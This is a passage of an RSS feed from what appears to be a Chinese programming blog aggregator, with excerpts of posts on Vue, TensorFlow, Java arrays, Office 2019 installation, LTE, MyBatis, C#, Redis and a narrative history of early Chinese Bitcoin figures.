      <description>VUE中this.$nextTick()怎么使用？&#xA;官方文档是这样解释的：&#xA;在下次 DOM 更新循环结束之后执行延迟回调。在修改数据之后立即使用这个方法，获取更新后的 DOM。&#xA;简单的理解，我认为vue.js中this.$nextTick()就是起到了一个等待数据的作用，也就是说，将一些回调延迟，等到DOM更新之后再开始执行。简单点说，相当于setTimeout()的作用&#xA;例如：你改变了dom元素数据，然后你又想输出dom，那你只能等到dom更新完成之后才会实现&#xA;2.通过事件改变data数据，然后输出dom，在方法里直接打印的话， 由于dom元素还没有更新， 因此打印出来的还是未改变之前的值，而通过this.$nextTick()获取到的值为dom更新之后的值&#xA;应用场景：&#xA;在Vue生命周期的created()钩子函数进行的DOM操作一定要放在Vue.nextTick()的回调函数中&#xA;在created()钩子函数执行的时候DOM 其实并未进行任何渲染，而此时进行DOM操作无异于徒劳，所以此处一定要将DOM操作的js代码放进Vue.nextTick()的回调函数中。与之对应的就是mounted()钩子函数，因为该钩子函数执行时所有的DOM挂载和渲染都已完成，此时在该钩子函数中进行任何DOM操作都不会有问题 。&#xA;在数据变化后要执行的某个操作，而这个操作需要使用随数据改变而改变的DOM结构的时候，这个操作都应该放进Vue.nextTick()的回调函数中。</description>
    </item>
    <item>
      <title>0018__LCD屏：RGB接口与MCU接口区别</title>
      <link>https://bchobby.github.io/posts/047b508fab12d07650352edba67be7e8/</link>
      <pubDate>Tue, 14 Apr 2020 10:07:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/047b508fab12d07650352edba67be7e8/</guid>
      <description>https://blog.csdn.net/vrk731/article/details/85221189&#xA;https://blog.csdn.net/JerryGou/article/details/82223447</description>
    </item>
    <item>
      <title>TensorFlow2.x 学习笔记(七)Keras高层接口</title>
      <link>https://bchobby.github.io/posts/6ff13ff909d972bbe69ae0a14e855b7e/</link>
      <pubDate>Tue, 14 Apr 2020 04:07:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ff13ff909d972bbe69ae0a14e855b7e/</guid>
      <description>Keras高层接口 这里所指的均为tf.keras&#xA;Keras高层API metrics acc_meter = metrics.Accuracy() loss_meter = metrics.Mean() update_state loss_meter.update_state(loss) acc_meter.udate_state(y, pred) result().numpy() print(step, &#39;loss:&#39;, loss_meter.result().numpy()) print(step, &#39;Evaluate Acc:&#39;, total_correct/total, acc_meter.result().numpy()) reset_states if step % 100 == 0: print(step, &#39;loss:&#39;, loss_meter.result().numpy()) loss_meter.reset_states() if step % 500 == 0: acc_meter.reset_states() complie &amp;amp; fit Compile network.compile(optimizer=optimizers.Adam(lr=0.01), loss=tf.loss.CategoricalCrossentropy(from_logits=True), merics=[&#39;accuracy&#39;] ) Fit network.fit(db, epochs=10) Evaluate network.fit(db, epochs=10, validation_data=ds_val, validation_steps=2) network.evaluate(ds_val) Predict pred = network.predict(x) pred = tf.argmax(pred, axis=1) 自定义网络 keras.Sequential 需要继承自Layer</description>
    </item>
    <item>
      <title>关于数组能否用变量声明长度</title>
      <link>https://bchobby.github.io/posts/6f047311f1cdc2181d79d75da0c528db/</link>
      <pubDate>Mon, 13 Apr 2020 21:53:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f047311f1cdc2181d79d75da0c528db/</guid>
      <description>第一行照例本鸽子精咕咕咕。&#xA;写这个博客的起因：&#xA;写java作业习惯性定义了new int[105][105]的数组交上去并被打回重做。&#xA;老师：不允许出现固定数组你105是什么鬼！&#xA;我内心os：？？？？不是不允许变量声明数组长度吗（这个人没听课+C语言被强调多次记忆太深）。&#xA;先说结论：Java是可以变量声明数组长度的。 C语言：&#xA;我们学习C语言的时候，都会被强调不能定义一个变量，再利用变量声明数组。&#xA;ex：&#xA;int n; scanf(&#34;%d&#34;,&amp;amp;n); int a[n]; 这样是不允许的。包括C++。&#xA;C语言中的数组是在程序运行之前提前向系统申请了内存空间，没有申请空间不允许读写。所以如果数组长度是变量，不能提前申请空间，所以不能用变量来设置动态数组。&#xA;但可以利用malloc函数来动态分配空间，实现数组的不定长声明。&#xA;Java：&#xA;Java的数组是用new来声明，相当于c++中的new，相当于c中的malloc，是动态分配内存空间的，所以可以用来设置不定长数组。&#xA;即：&#xA;import java.util.Scanner; public class T{ public static void main(String[] args){ Scanner cin = new Scanner(System.in); int n; n = cin.nextInt(); int[] a = new int[n]; } } 或许有错orz欢迎指出错误</description>
    </item>
    <item>
      <title>手机怎么访问本地HTML文件（甄姬，哦不，是真机调试）</title>
      <link>https://bchobby.github.io/posts/59ed00100badd8464556ca26eaf7a5f2/</link>
      <pubDate>Mon, 13 Apr 2020 20:47:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/59ed00100badd8464556ca26eaf7a5f2/</guid>
      <description> 1：手机与电脑在同一局域网下&#xA;手机可开热点给笔记本，台式也要联热点/Wi-Fi？可以，去买一个Wi-Fi接收器装主机上即可；&#xA;2：找到本地HTML文件的web端页面测试地址&#xA;例如 http://123.1.2.3:1234/index.html&#xA;3：查看电脑ip地址&#xA;例如 199.166.33.77&#xA;4：替换 将3中的ip地址替换到2中 ，即：http://123.1.2.3:1234/index.html ==&amp;gt; http://199.166.33.77/index.html&#xA;5：甄姬测试&#xA;手机打开 http://199.166.33.77/index.html即可&#xA;巴拉巴拉：&#xA;==主页传送门== </description>
    </item>
    <item>
      <title>区块链十年一梦：有人辞官归故里，有人星夜来赶考</title>
      <link>https://bchobby.github.io/posts/398d001f0dc2a1234357c511addca463/</link>
      <pubDate>Mon, 13 Apr 2020 18:09:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/398d001f0dc2a1234357c511addca463/</guid>
      <description>比特币就像是一个残酷的螺旋，不断往上攀升，只是过一个周期，盘子还在，人却换了一批。因此，与其说是入场的人群靠比特币致富，不如说比特币靠这一拨又一拨的人获得了永生。&#xA;作者：江小渔&#xA;编辑/策划：秦晋、郑迪&#xA;资料梳理：Alice、白夜&#xA;出品：碳链价值（ID：cc-value）&#xA;本文共计14215字，阅读需20分钟。未经允许，禁止转载&#xA;01　2011：神奇造梦场&#xA;对于区块链来说，2011年是一个神奇的年份。&#xA;在这一年5月，从北大毕业不到两年的吴忌寒第一次接触到了比特币。作为一个年轻的风投师，一位理想的自由主义者，他被比特币的愿景深深吸引住了。于是他做了一个疯狂的决定：向亲友募集10万元，买900个在当时无人知晓的比特币。这一年他25岁。&#xA;事后看来的「远见卓识」，其实在当年的少年身上能够找到一些隐约的迹象。当我们查看吴忌寒的人人网时，会发现当年在北大的他，就已经是一个充满自由主义倾向，喜欢针砭时弊的青年。他看南方周末的文章，他对时局的某些地方感到不满，并试图改变现状。这很北大。&#xA;又是在这一年，从中国地质大学毕业不到一年的刘志鹏搭建了中国第一个区块链论坛网站「巴比特」。那时，他的正式工作是广西国土资源规划院的一名工程员，但他更著名的身份，是科幻小说家「长铗」。&#xA;如果没有遇见比特币，刘志鹏也许会像刘慈欣那样，一边在体制内工作，一边在科幻小说的舞台上发光发热。在他构造的科幻世界中，现实与历史相互交错，豪迈、激荡却又艰涩，赛博朋克与中国古风、西方宗教在一起交织，构成了一道别样的风景。&#xA;「遭遇」比特币可能是一种宿命。&#xA;2008年，在没有了解到地区另一边发生的跨时代变革之时，刘志鹏在他的研究生期间继续着科幻小说创作，写下了一篇对他今后影响颇为深远的作品——《屠龙之技》。相比起他的其他小说，《屠龙之技》并不能算是一篇特别好看的作品，但它已经清楚地揭示出了一个颇为新颖的想法：算力即权力。&#xA;没有比比特币更能够生动体现「算力即权力」的案例了。当刘志鹏发现比特币的时候，他似乎看到技术变革指引着的新世界在眼前铺开。这时，他义无反顾地加入到了这片新世界之中。&#xA;于是，著名科幻小说家「长铗」消失了。刘志鹏本来就是在工作的业余时间创作科幻作品；在遇到比特币之后，他把所有的精力都放到了翻译比特币资料，向中国介绍比特币上。&#xA;2011年，对中国币圈影响深远的李笑来在美国的《连线》杂志上第一次知道了比特币这个词。随后，他被比特币的高波动率所吸引，开始研究这个「比美元还贵的东西」。当他研究明白之后，“上来就买了2100个币”。&#xA;在进入币圈之前，李笑来在新东方当了8年高级教师。英语老师在中国是个神奇的职业，这个职业还催生了另外一批在中国经济生活中叱咤风云的人物，比如马云、俞敏洪和徐小平。&#xA;他讲课风趣幽默，深受学生和网友喜爱，并出版了一些极为畅销的英语考试辅导书籍。8年的教师经历，让他积累了四笔宝贵财富：演讲传教、写书吸粉、朋友和入场资金。事实证明，这些经验对于早期币圈来说极度适用。&#xA;在李笑来购入 2100 个比特币后的两周内，比特币的价格上涨到了 22 美元，他的1.2 万美元变成了 4 万多美元。&#xA;也正是在这一年，从中国科技大学硕士毕业、去耶鲁大学访学读博的蒋信予，开始接触比特币。这一年，他和吴忌寒一样，也是25岁。&#xA;蒋信予是中国最早制造ASIC矿机的技术天才之一，同时也是圈内最为激进的自由主义者和无政府主义者。他读安·兰德，并评论道：“简单来说，这个女人用尽全力为生命和自由呼喊，然后把不爱生命和自由，甚至不是太爱生命和自由的傻逼们X成渣。她最终获得胜利，傻逼们被打回家，变成卢瑟，而卢瑟就是卢瑟。”&#xA;如果说吴忌寒用一个用自由主义风投师的眼光看到了比特币，长铗从「算力即权力」的技术进步角度看到了比特币，李笑来从人性的角度看到了比特币，那么蒋信予就是以一个原教旨疯子的角度看到了比特币。&#xA;他与比特币背后的理念如此契合，对此如此痴迷，信仰如此之深，这在圈内都是十分罕见的。&#xA;相比起莱特币创始人李启威一开始对比特币前途的妥协态度，蒋信予喜欢冒险，讨厌中立。他说，当一个人相信世间存在真相和真理并懂得真理永远无法对谎言妥协和宽容时，他的中立病就痊愈了。&#xA;2012年1月16日，蒋信予在 bitcointalk.org 论坛，把自己的昵称注册为「friedcat」，翻译成中文也就是「烤猫」。这个让比特币矿圈永远不能忘怀的名字，就这么诞生了。&#xA;2011年，在父亲的引导下，一位名叫Vitalik的17岁加拿大高中生认识了比特币。起初，他对此并不感兴趣；只是在发现比特币的去中心化属性后，他才被深深吸引。这年3月，他成为了比特币领域的撰稿人，得到的稿费是每篇文章5比特币（时价4美元左右）。对这个年轻人来说，比特币似乎有着非同寻常的吸引力。这本来是一件业余爱好，最终发展到每周要占据他30个小时的地步。&#xA;当然，被比特币深深吸引的不仅只有这些20岁的毛头小伙子，还有被旧秩序伤得很深的传统从业者。经过不断寻找，在2008年金融危机中损失惨重的Barry Silbert最终发现了一个理想的投资标的。在他看来，比特币“数字黄金”的概念非常有意思，去中心化的货币体系有可能改变这个世界，于是开始不断购入比特币。2011年6月8日，比特币单枚成交价达到31.9美元，创历史新高，Silbert也由此收获了在这个领域的第一桶金。2012 年，他创立了 Bitcon Opportunity Corp，进行比特币相关领域的天使投资。这对接下来十年的加密货币领域格局，都是意义深远的。&#xA;图片来源：网络&#xA;也就是在2011年的夏天，创造了比特币的中本聪，离奇地从网络世界上消失了。没人知道他去了哪里。&#xA;02　2013-2014：财富狂欢地&#xA;李笑来曾经说过这么一句话，描述他在2011年对比特币的认知：“这是一场越早参与就越划算的实验，因为它本身就是钱，时间就是比特币。&#34;&#xA;他说对了，在2011年参与这场实验的人，在2013年基本都得到了丰厚的回报。&#xA;其中最春风得意的当属烤猫。凭借着成功研发的ASIC矿机，烤猫的算力在2013年占据全网算力的1/3以上。2013年7月，烤猫公司的矿场每月能挖出近4万个比特币。（当然，烤猫所代表的中国矿圈拥有如此大规模的算力，在社区里引发了对51%攻击的空前恐慌，进而为比特币社区接下来的发展埋下了深远的伏笔，在此按下不表。）&#xA;参与烤猫股票众筹的投资者在第一次分红中就全部回本，吴忌寒在其中赚到了人生的第一个一千万，这也为接下来比特大陆的诞生打下了基础。&#xA;2013年属于烤猫。当时，他头顶中科大少年班毕业、耶鲁博士中途辍学的光环，身披不爱露面、喜欢躲在背后宣扬无政府主义和自由主义的神秘色彩，再加上短时间内身价过亿，自然也就成为了矿圈最大的神话。&#xA;他的公司被认为是那时比特币世界里最值得投资的唯一股票。甚至李笑来也为其折服：“其他一切芯片生产商和管理者，都没有烤猫的脑瓜儿。”这里面包括ASIC矿机最早的发明者、嘉楠耘智的创始人南瓜张（张楠赓）。&#xA;那时，谁也不会想到，能活到今天的会是不善言辞、木头木脑的张楠赓。&#xA;2013年，长铗终于等到了解套。2011年，他把工作第一年10万块钱的工资全拿了出来，在35美元的价位上全仓了比特币。虽然他比吴忌寒更早知晓比特币，也更早为传播比特币而工作，但全仓的时间点不太妙，站在了当年的高位上。&#xA;在他全仓不久后，当时全球最大的比特币交易所Mt.Gox（门头沟）遭遇黑客攻击，一位名为Allinvain的用户称自己的2.5万个比特币（当时价值50多万美元）被盗。由此，比特币开启了骇人的暴跌，从每个比特币三十美元，跌到了最低2美元。&#xA;面对「归零式」的跌法，加密货币的早期信仰者究竟是怀着怎样的心态度过那段时间的，这已经无从考究了。但和后面的若干次暴跌一样，声称「比特币骗局破灭」「比特币已死」「看不到底」的声音和报道不绝于耳。到2011年11月，长铗原本值10万人民币的资产，只剩下几千块钱了。&#xA;直到这个时候，他还在知乎上回答了一个女孩儿提出的问题：「手头有6000元，这是除去学费和生活费之后的，想利用这些钱去做点投资，有什么好的理财投资建议？」当时长铗回答道：「买比特币，保存好钱包文件，然后忘记你有6000元这回事。五年后再看看。」&#xA;和比特币的其他早期玩家一样，长铗没有再看价格，而是转身埋头于比特币的介绍和宣传中。他熬过了横盘了一整年的2012年，最终迎来了币价暴涨十几倍的2013年。&#xA;由于这一年行情实在太好，加密货币圈逐渐壮大，认为「比特币代表着未来」的人越来越多。在这样一种乐观情绪下，又因为朋友们反复邀请，长铗最终在2014年辞去了广西的公务员工作，到杭州成立了巴比特。不久，巴比特就获得了光速安振的天使轮200万人民币的融资。 这时，长铗不会想到，即将迎接他的不是美好的前程，而是一瓶矿泉水也舍不得喝的辛酸。&#xA;同样是2013年，就在化腐朽为神奇的一年，吴忌寒深深地品尝到了投资烤猫带来的甜头。作为比特币市场中为数不多的专业风投，他很早就看到了比特币挖矿市场的潜力：如果说除了比特币之外还有什么是值得投资的，那就是挖取比特币的矿业本身了。&#xA;吴忌寒的布局很广。在烤猫之后，他又花几百万预订了南瓜张的「阿瓦隆矿机」。可惜这款矿机研发并不顺利，最后惨遭跳票。&#xA;吴忌寒逐渐意识到，作为这个行业的信仰者，只是以一个投资者的身份参与这个市场是不够的，最好还是投身其中。就像刘炽平和美国人网大为(David Wallerstein)，前者在高盛时看中腾讯，2005年放弃高薪工作加入腾讯出任首席战略投资官；后者慧眼识金，早在2001年就发现了腾讯，并促成南非报业集团接盘IDG和李泽楷成为了腾讯最大股东（并让王功权和李泽楷日后每每谈及此事都拍断大腿），之后干脆直接加盟腾讯出任高管。&#xA;在这一年，吴忌寒遇到了中科院出身的詹克团。他们最终达成了协议：成立比特大陆，如果詹克团能够成功研发芯片，技术团队将拿到60%的股份。当时，还在大学念书、尚未毕业的葛越晟是吴忌寒手下的实习生，跟随他一起做风险投资。出于对吴忌寒的崇拜和信任，也出于对比特币前景的看好，这位20来岁、家境颇丰的年轻人和吴忌寒一起投资了比特大陆。这也改写了他接下来的命运。&#xA;2013年,李笑来在接受央视采访声称自己手中有“6位数的比特币”，而且是“1字头”（暗示他手上有十几万个比特币），是在2011年买的。&#xA;按照2013年比特币价格最高1150美金来看，当时李笑来手里的比特币就值一亿多美金了。从此，他被奉为「中国比特币首富」，成为了行业头号网红。（不过，李笑来是否真的买了那么多比特币，则成为了多年后圈内的十大未解谜题之一。）&#xA;李笑来不再是那个幽默的英语老师了，他成为了投资圈的一个神话。他的书籍《把时间当作朋友》成为了绝对的畅销书，理财的主妇中有不少是他的粉丝，跟他一起学习如何改进「思维的操作系统」。</description>
    </item>
    <item>
      <title>自定义安装官方Microsoft Office 2019</title>
      <link>https://bchobby.github.io/posts/939faf12b0972b2ca92fe9e4b7730bdf/</link>
      <pubDate>Mon, 13 Apr 2020 18:07:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/939faf12b0972b2ca92fe9e4b7730bdf/</guid>
      <description> 前言 本文介绍自定义安装官方Microsoft Office 2019的方法。担心全套安装占用空间太大、喜欢简洁的同学可以考虑学习一下。老本这次就只安装Word、PowerPoint、Excel，总共下载文件大小1.89GB，安装完成后总大小2.63GB，占用空间1.32GB。这里占用空间比文件大小要小，这可能和文件以及文件系统有关，老本没有深究。&#xA;正文 下面开始，注意office 2019只支持Windows 10。&#xA;下载Office Deployment Tool https://www.microsoft.com/en-us/download/office.aspx&#xA;我们得到一个类似这样的文件：officedeploymenttool_12130-20272.exe。双击运行解压，指定一个目录，得到如下四个文件：&#xA;这里只需要保留setup.exe，其它的预设xml配置文件可以删掉，我们接下来要自己生成配置文件。&#xA;创建自定义配置文件 https://config.office.com/&#xA;以下结合自己需要选择，仅给出需要注意的地方，没有特殊说明的，按照图中选择就好。&#xA;产品这项，Office Suites老本选择Standard版，你要是觉得professional高大上那也可以选择，但老本觉得没必要。Visio以下那些都不用理他，如果你好奇点开了下拉列表看，那就选无。&#xA;更新频道，选择Perpetual Enterprise，实际这里只有一项，可以自己点开下拉列表看看。部署版本选择最新。&#xA;应用，这里就是全套所在的地方了，根据需要选择。老笨只选excel、PowerPoint、word。&#xA;语言就简体中文好了，附加和校对不用理会。&#xA;从何处部署，默认CDN就好。登录-关。&#xA;自动检查更新-关。&#xA;升级选项，卸载老版本这里老笨全打开。需要注意，虽然这里安装之前卸载选项开启了，但老笨还是建议，安装office2019之前手动把旧版本卸载了，然后重启电脑，再进行新版本的安装。&#xA;自动接受EULA开启就好，反正出现条款你也只能同意同意下一步。产品密钥就选KMS客户端密钥，方便激活。&#xA;常规，留空白就好。如果你想个性化留下一些说明文字也可以。&#xA;首选项这里不用里，直接到最下面点击完成就好。&#xA;我们点击网页右边的导出，格式就选Office Open XML，名称自己定义，老笨就写configuration。&#xA;下面就是得到的configuration.xml：&#xA;下载Microsoft Office 2019 使用命令的方式调用setup.exe，根据以上所得到的配置文件configuration.xml下载所需的组件。&#xA;右键开始图标，打开power shell(管理员)：&#xA;cd到configuration.xml和setup.exe所在的文件夹：cd E:\temp&#xA;执行命令：.\setup.exe /download configuration.xml&#xA;按下回车之后开始下载，此过程没有任何进度提示，不要关闭power shell窗口，想查看速度的就自己打开任务管理器看咯。下载完成之后，power shell会返回到E:\temp目录，即第三行显示PS E:\temp且光标闪烁。下载的文件放在目录下的Office文件夹内，整个文件夹1.89GB左右。&#xA;安装Microsoft Office 2019 同样的，还是用命令方式，还是同样的那个setup.exe，还是在上述的temp目录下，power shell执行：&#xA;.\setup.exe /configure configuration.xml&#xA;注意参数，这次是configure。&#xA;回车之后，就可以看到安装程界面，是不是很棒。&#xA;安装完成后的空间占用情况：&#xA;可能还有一些其它目录，但主要文件都在这个目录下。&#xA;结语 上述的安装方法，可以实现自定义安装，可以说是非常简洁。但是，能不能节省空间，能节省多少空间，老笨也没有测试。至少看上去能省不少空间，非常简洁，用起来也舒适。&#xA;END </description>
    </item>
    <item>
      <title>在vue中实现页面滚动（停止滚动）的动画效果总结</title>
      <link>https://bchobby.github.io/posts/044abb3ee181f8889658b8ea8d0f4cb0/</link>
      <pubDate>Mon, 13 Apr 2020 17:27:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/044abb3ee181f8889658b8ea8d0f4cb0/</guid>
      <description>1、运用到的技术：&#xA;监听滚动事件：window.addEventListener(&#39;scroll&#39;, function（handleScroll）);动画库：animate.css 2、总结：&#xA;滚动事件触发时，记录滚动条的垂直位置：document.documentElement.scrollTop || document.body.scrollTop滚动停止触发思路：在滚动触发时，写一个新函数ScrollEnd（做延迟setTimeout），记录新的scrollTop值，然后比较这2个scrollTop值，如果相等的话，说明停止了滚动注意：每次滚动的时候，需要先清除定时器，因为滚动的时候，一直再清定时器，不会执行新函数ScrollEnd，只有当停止滚动的时候才执行该函数。动画：首先获取元素element = document.getElemenidtById(&#39;id&#39;)，然后添加元素动画效果element.classList.add(&#39;animated&#39;, &#39;fadeOutRight&#39;)，fadeOutRight：右淡出 删除元素动画效果：element.classList.remove(&#39;animated&#39;, &#39;fadeOutRight&#39;)动画官方网址：https://daneden.github.io/animate.css/ 3、接下来给出源码&#xA;1、 data() { return { scrollT: &#39;&#39;, scrollStops: &#39;&#39;, timer: &#39;&#39; } } 2、 mounted() { //滚动条监听 window.addEventListener(&#39;scroll&#39;, this.handleScroll); } 3、 methods: { handleScroll() { clearTimeout(this.timer); //清除定時器 this.timer = setTimeout(this.ScrollEnd, 500); this.scrollT = document.documentElement.scrollTop || document.body.scrollTop; //滚动中的动画 const element = document.getElementById(&#39;fixbox&#39;); element.classList.add(&#39;animated&#39;, &#39;fadeOutRight&#39;) //滑动时，右淡出 }, ScrollEnd() { this.stopscroll = document.documentElement.scrollTop || document.body.scrollTop; //停止后的scrolltop if (this.stopscroll == this.</description>
    </item>
    <item>
      <title>LTE学习之路（7）——LTE系统消息---转</title>
      <link>https://bchobby.github.io/posts/4ee9e6e8dd024c0c7c7ffe4d1842101a/</link>
      <pubDate>Mon, 13 Apr 2020 16:25:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ee9e6e8dd024c0c7c7ffe4d1842101a/</guid>
      <description>1 系统消息包含：&#xA;主信息块（Master Information Block，MIB）&#xA;多个系统信息块（System Information Blocks，SIBs）&#xA;2 MIB&#xA;承载于BCCH——&amp;gt;BCH——&amp;gt;PBCH上&#xA;包括有限个用以读取其他小区信息的最重要、最常用的传输参数（如：系统带宽、系统帧号、PHICH配置信息）&#xA;时域：紧邻同步信道，以10ms为周期重传4次&#xA;频域：位于系统带宽中央的72个子载波（1.08MHz）&#xA;3 SIBs&#xA;除MIB外的系统信息，包括SIB1~SIB12；&#xA;除SIB1外，SIB2~SIB12均由SI（System Information）承载；&#xA;SIB1是除MIB外最重要的系统信息，固定以20ms为周期重传4次，即SIB1在每两个无线帧（20ms）的子帧#5中重传（SFN mod 2=0，SFN mod 8不等于0）一次，如果满足SFN mod 8=0时，SIB1的内容可能改变，新传一次；&#xA;SIB1和所有SI消息均承载在BCCH——&amp;gt;DL-SCH——&amp;gt;PDSCH上；&#xA;SIB1的传输通过携带SI-RNTI（SI-RNTI每个小区都相同）的PDCCH调度完成；&#xA;SIB1中的SchedulingInfoList携带所有SI的调度消息，接收SIB1以后，即可接收其他SI消息。</description>
    </item>
    <item>
      <title>MyBatis通过注解方式批量添加、修改、删除</title>
      <link>https://bchobby.github.io/posts/d503d3fad746a3ba5f0a1a4f817aac4b/</link>
      <pubDate>Mon, 13 Apr 2020 12:28:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d503d3fad746a3ba5f0a1a4f817aac4b/</guid>
      <description>唯能极于情，故能极于剑&#xA;MyBatis通过注解方式批量添加、修改、删除！ ！！！&#xA;注：本文转载于：CodeCow · 程序牛 的个人博客：http://www.codecow.cn/&#xA;一、数据库实体DO public class User implements Serializable { private Long id; //用户ID private String name; //用户姓名 private Integer age; //用户年龄 ....... } 二、数据库操作 2.1、批量插入用户&#xA;@Insert(&#34;&amp;lt;script&amp;gt;&#34; + &#34;insert into user(id, name, age) VALUES &#34; + &#34;&amp;lt;foreach collection=&#39;list&#39; item=&#39;item&#39; index=&#39;index&#39; separator=&#39;,&#39;&amp;gt; &#34; + &#34;(#{item.id},#{item.name},#{item.age}) &#34; + &#34;&amp;lt;/foreach&amp;gt;&#34; + &#34;&amp;lt;/script&amp;gt;&#34;) void batchInsert(@Param(&#34;list&#34;)List&amp;lt;User&amp;gt; list); //批量添加用户 2.2、批量修改用户&#xA;@Update({&#34;&amp;lt;script&amp;gt;&#34; + &#34;&amp;lt;foreach collection=&#39;list&#39; item=&#39;item&#39; index=&#39;index&#39; open=&#39;(&#39; separator=&#39;,&#39; close=&#39;)&#39;&amp;gt; &#34; + &#34;</description>
    </item>
    <item>
      <title>C#string字符串比较</title>
      <link>https://bchobby.github.io/posts/3ab3d29f515aec2345663b85c648e04b/</link>
      <pubDate>Mon, 13 Apr 2020 11:31:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ab3d29f515aec2345663b85c648e04b/</guid>
      <description> 最简单的比较方式：&#xA;string str1=&#34;Test&#34;; string str2 = &#34;Test&#34;; if (str1==str2) //第一种判断方式 { //第二种判断方式 int result1 = str1.CompareTo(str2); Console.WriteLine(result1); //输出result1=0 //第三种判断方式 int result2=String.Compare(str1, str2); Console.WriteLine(result2); //输出result2=0 //后面两种方式需要注意str1和str2是不是为null的情况 //第四种判断方式 bool result3=str1.Equals(str2); Console.WriteLine(result3); //输出result3=true //第五种判断方式 bool result4 = String.Equals(str1,str2); Console.WriteLine(result4); //输出result4=true } </description>
    </item>
    <item>
      <title>Redis系列(五)：Redis的过期键删除策略</title>
      <link>https://bchobby.github.io/posts/dfbb5b2e53aa6b62447480d289b7794a/</link>
      <pubDate>Mon, 13 Apr 2020 10:34:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dfbb5b2e53aa6b62447480d289b7794a/</guid>
      <description>本篇博客是Redis系列的第5篇，主要讲解下Redis的过期键删除策略。&#xA;本系列的前4篇可以点击以下链接查看：&#xA;Redis系列(一)：Redis简介及环境安装&#xA;Redis系列(二)：Redis的5种数据结构及其常用命令&#xA;Redis系列(三)：Redis的持久化机制(RDB、AOF)&#xA;Redis系列(四)：Redis的复制机制(主从复制)&#xA;划重点：Redis的过期键删除策略也是面试中经常会被问的，我最近面试，被问到了好几次。&#xA;对于Redis服务器来说，内存资源非常宝贵，如果一些过期键一直不被删除，就会造成资源浪费，&#xA;因此我们需要考虑一个问题：如果一个键过期了，它什么时候会被删除呢？&#xA;1. 常见的删除策略 常见的删除策略有以下3种：&#xA;定时删除&#xA;在设置键的过期时间的同时，创建一个定时器，让定时器在键的过期时间来临时，立即执行对键的删除操作。&#xA;惰性删除&#xA;放任过期键不管，每次从键空间中获取键时，检查该键是否过期，如果过期，就删除该键，如果没有过期，就返回该键。&#xA;定期删除&#xA;每隔一段时间，程序对数据库进行一次检查，删除里面的过期键，至于要删除哪些数据库的哪些过期键，则由算法决定。&#xA;其中定时删除和定期删除为主动删除策略，惰性删除为被动删除策略。&#xA;接下来我们一一讲解。&#xA;1.1 定时删除策略 定时删除策略通过使用定时器，定时删除策略可以保证过期键尽可能快地被删除，并释放过期键占用的内存。&#xA;因此，定时删除策略的优缺点如下所示：&#xA;优点：对内存非常友好缺点：对CPU时间非常不友好 举个例子，如果有大量的命令请求等待服务器处理，并且服务器当前不缺少内存，如果服务器将大量的CPU时间用来删除过期键，那么服务器的响应时间和吞吐量就会受到影响。&#xA;也就是说，如果服务器创建大量的定时器，服务器处理命令请求的性能就会降低，&#xA;因此Redis目前并没有使用定时删除策略。&#xA;1.2 惰性删除策略 惰性删除策略只会在获取键时才对键进行过期检查，不会在删除其它无关的过期键花费过多的CPU时间。&#xA;因此，惰性删除策略的优缺点如下所示：&#xA;优点：对CPU时间非常友好缺点：对内存非常不友好 举个例子，如果数据库有很多的过期键，而这些过期键又恰好一直没有被访问到，那这些过期键就会一直占用着宝贵的内存资源，造成资源浪费。&#xA;1.3 定期删除策略 定期删除策略是定时删除策略和惰性删除策略的一种整合折中方案。&#xA;定期删除策略每隔一段时间执行一次删除过期键操作，并通过限制删除操作执行的时长和频率来减少删除操作对CPU时间的影响，同时，通过定期删除过期键，也有效地减少了因为过期键而带来的内存浪费。&#xA;2. Redis使用的过期键删除策略 Redis服务器使用的是惰性删除策略和定期删除策略。&#xA;2.1 惰性删除策略的实现 过期键的惰性删除策略由expireIfNeeded函数实现，所有读写数据库的Redis命令在执行之前都会调用expireIfNeeded函数对输入键进行检查：&#xA;如果输入键已经过期，那么将输入键从数据库中删除如果输入键未过期，那么不做任何处理 以上描述可以使用如下流程图表示：&#xA;2.2 定期删除策略的实现 过期键的定期删除策略由activeExpireCycle函数实现，每当Redis服务器的周期性操作serverCron函数执行时，activeExpireCycle函数就会被调用，它在规定的时间内，分多次遍历服务器中的各个数据库，从数据库的expires字典中随机检查一部分键的过期时间，并删除其中的过期键。&#xA;activeExpireCycle函数的大体流程为：&#xA;函数每次运行时，都从一定数量的数据库中随机取出一定数量的键进行检查，并删除其中的过期键，比如先从0号数据库开始检查，下次函数运行时，可能就是从1号数据库开始检查，直到15号数据库检查完毕，又重新从0号数据库开始检查，这样可以保证每个数据库都被检查到。&#xA;划重点：&#xA;关于定期删除的大体流程，最近面试时有被问道，我就是按上述描述回答的。可能有的面试官还会问，每次随机删除哪些key呢？可以提下LRU算法（Least Recently Used 最近最少使用），一般不会再细问，不过有兴趣的同学可以深入研究下。 3. RDB对过期键的处理 3.1 生成RDB文件 在执行SAVE命令或者BGSAVE命令创建一个新的RDB文件时，程序会对数据库中的键进行检查，已过期的键不会被保存到新创建的RDB文件中。&#xA;举个例子，如果数据库中包含3个键k1、k2、k3，并且k2已经过期，那么创建新的RDB文件时，程序只会将k1和k3保存到RDB文件中，k2则会被忽略。&#xA;3.2 载入RDB文件 在启动Redis服务器时，如果服务器只开启了RDB持久化，那么服务器将会载入RDB文件：&#xA;如果服务器以主服务器模式运行，在载入RDB文件时，程序会对文件中保存的键进行检查，未过期的键会被载入到数据库中，过期键会被忽略。&#xA;如果服务器以从服务器模式运行，在载入RDB文件时，文件中保存的所有键，不论是否过期，都会被载入到数据库中。&#xA;因为主从服务器在进行数据同步（完整重同步）的时候，从服务器的数据库会被清空，所以一般情况下，过期键对载入RDB文件的从服务器不会造成影响。&#xA;4. AOF对过期键的处理 4.</description>
    </item>
    <item>
      <title>H5移动端常见问题</title>
      <link>https://bchobby.github.io/posts/9ee95a13e723b8ecb8ecd062e2d57783/</link>
      <pubDate>Mon, 13 Apr 2020 08:43:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ee95a13e723b8ecb8ecd062e2d57783/</guid>
